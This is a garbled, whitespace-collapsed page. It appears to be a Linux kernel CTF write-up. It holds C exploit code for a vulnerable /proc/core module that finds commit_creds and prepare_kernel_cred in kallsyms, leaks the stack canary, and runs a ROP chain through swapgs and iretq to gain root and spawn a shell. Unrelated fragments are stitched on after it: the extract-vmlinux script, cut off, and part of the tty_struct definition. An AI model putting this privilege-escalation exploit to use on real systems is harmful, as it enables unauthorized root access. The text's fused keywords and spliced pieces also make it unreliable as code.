// This function is used to get the addresses of two key functions from /tmp/kallsyms voidget_function_address(){ FILE* sym_table = fopen("/tmp/kallsyms", "r"); // including all address of kernel functions if(sym_table == NULL){ printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\n\033[0m"); exit(1); } unsignedlonglong addr = 0; char type[0x10]; char func_name[0x100]; // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end. while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){ if(commit_creds && prepare_kernel_cred) // two addresses of key functions are all found, return directly. return; if(!strcmp(func_name, "commit_creds")){ // function "commit_creds" found commit_creds = addr; printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx\n", commit_creds); }elseif(!strcmp(func_name, "prepare_kernel_cred")){ prepare_kernel_cred = addr; printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx\n", prepare_kernel_cred); } } }
// this is a universal function to print binary data from a char* array voidprint_binary(char* buf, int length){ int index = 0; char output_buffer[80]; memset(output_buffer, '\0', 80); memset(output_buffer, ' ', 0x10); for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){ char temp_buffer[0x10]; memset(temp_buffer, '\0', 0x10); sprintf(temp_buffer, "%#5x", index); strcpy(output_buffer, temp_buffer); output_buffer[5] = ' '; output_buffer[6] = '|'; output_buffer[7] = ' '; for(int j=0; j<16; j++){ if(index+j >= length) sprintf(output_buffer+8+3*j, " "); else{ sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF); if(!isprint(buf[index+j])) output_buffer[58+j] = '.'; else output_buffer[58+j] = buf[index+j]; } } output_buffer[55] = ' '; output_buffer[56] = '|'; output_buffer[57] = ' '; printf("%s\n", output_buffer); memset(output_buffer+58, '\0', 16); index += 16; } }
voidrise_cred(){ // define two function pointer void* (*prepare_kernel_credp)(void*) = prepare_kernel_cred; int (*commit_credsp)(void*) = commit_creds; commit_credsp(prepare_kernel_credp(NULL)); }
voidshell(){ if(getuid()){ printf("\033[31m\033[1m[x] Error: Failed to get root, exiting......\n\033[0m"); exit(1); } printf("\033[32m\033[1m[+] Getting the root......\033[0m\n"); system("/bin/sh"); exit(0); }
intmain(){ saveStatus(); fd = open("/proc/core", 2); // open the process if(!fd){ printf("\033[31m\033[1m[x] Error: Cannot open process \"core\"\n\033[0m"); exit(1); } char buffer[0x100] = {0}; get_function_address(); // get addresses of two key function unsignedlonglong base_offset = commit_creds - commit_creds_base; printf("\033[34m\033[1m[*] KASLR offset: \033[0m%#llx\n", base_offset); change_off(0x40); // change the offset so that we can get canary later core_read(buffer); // get canary printf("\033[34m\033[1m[*] Contents in buffer here:\033[0m\n"); // print content in buffer print_binary(buffer, 0x40); unsignedlonglong canary = ((size_t*)&buffer)[0]; printf("\033[35m\033[1m[*] The value of canary is the first 8 bytes: \033[0m%#llx\n", canary); size_t ROP[100] = {0}; memset(ROP, 0, 800); int idx = 0; for(int i=0; i<10; i++) ROP[idx++] = canary; ROP[idx++] = (unsignedlonglong)rise_cred; ROP[idx++] = swapgs_popfq_ret + base_offset; // step 1 of returning to user mode: swapgs ROP[idx++] = 0; ROP[idx++] = iretq + base_offset; // step 2 of returning to user mode: iretq // after the iretq: return address, user cs, user rflags, user sp, user ss ROP[idx++] = (unsignedlonglong)shell; ROP[idx++] = user_cs; ROP[idx++] = user_rflags; ROP[idx++] = user_sp; ROP[idx++] = user_ss; printf("\033[34m\033[1m[*] Our rop chain looks like: \033[0m\n"); print_binary((char*)ROP, 0x100); write(fd, ROP, 0x800); core_copy_func(0xffffffffffff0100); return0; }
#!/bin/sh # SPDX-License-Identifier: GPL-2.0-only # ---------------------------------------------------------------------- # extract-vmlinux - Extract uncompressed vmlinux from a kernel image # # Inspired from extract-ikconfig # (c) 2009,2010 Dick Streefland <dick@streefland.net> # # (c) 2011 Corentin Chary <corentin.chary@gmail.com> # # ----------------------------------------------------------------------
check_vmlinux() { # Use readelf to check if it's a valid ELF # TODO: find a better to way to check that it's really vmlinux # and not just an elf readelf -h $1 > /dev/null 2>&1 || return 1
cat$1 exit 0 }
try_decompress() { # The obscure use of the "tr" filter is to work around older versions of # "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here for pos in `tr"$1\n$2""\n$2=" < "$img" | grep -abo "^$2"` do pos=${pos%%:*} tail -c+$pos"$img" | $3 > $tmp 2> /dev/null check_vmlinux $tmp done }
# Check invocation: me=${0##*/} img=$1 if [ $# -ne 1 -o ! -s "$img" ] then echo"Usage: $me <kernel-image>" >&2 exit 2 fi
structmutexatomic_write_lock; structmutexlegacy_mutex; structmutexthrottle_mutex; structrw_semaphoretermios_rwsem; structmutexwinsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; /* Termios values are protected by the termios rwsem */ structktermiostermios, termios_locked; structtermiox *termiox;/* May be NULL for unsupported */ char name[64]; structpid *pgrp;/* Protected by ctrl lock */ structpid *session; unsignedlong flags; int count; structwinsizewinsize;/* winsize_mutex */ unsignedlong stopped:1, /* flow_lock */ flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsignedlong ctrl_status:8, /* ctrl_lock */ packet:1, unused_ctrl:BITS_PER_LONG - 9; unsignedint receive_room; /* Bytes free for queue */ int flow_change;
structtty_struct *link; structfasync_struct *fasync; int alt_speed; /* For magic substitution of 38400 bps */ wait_queue_head_t write_wait; wait_queue_head_t read_wait; structwork_structhangup_work; void *disc_data; void *driver_data; structlist_headtty_files;
#define N_TTY_BUF_SIZE 4096
int closing; unsignedchar *write_buf; int write_cnt; /* If the tty has a pending do_SAK, queue it here - akpm */ structwork_structSAK_work; structtty_port *port; };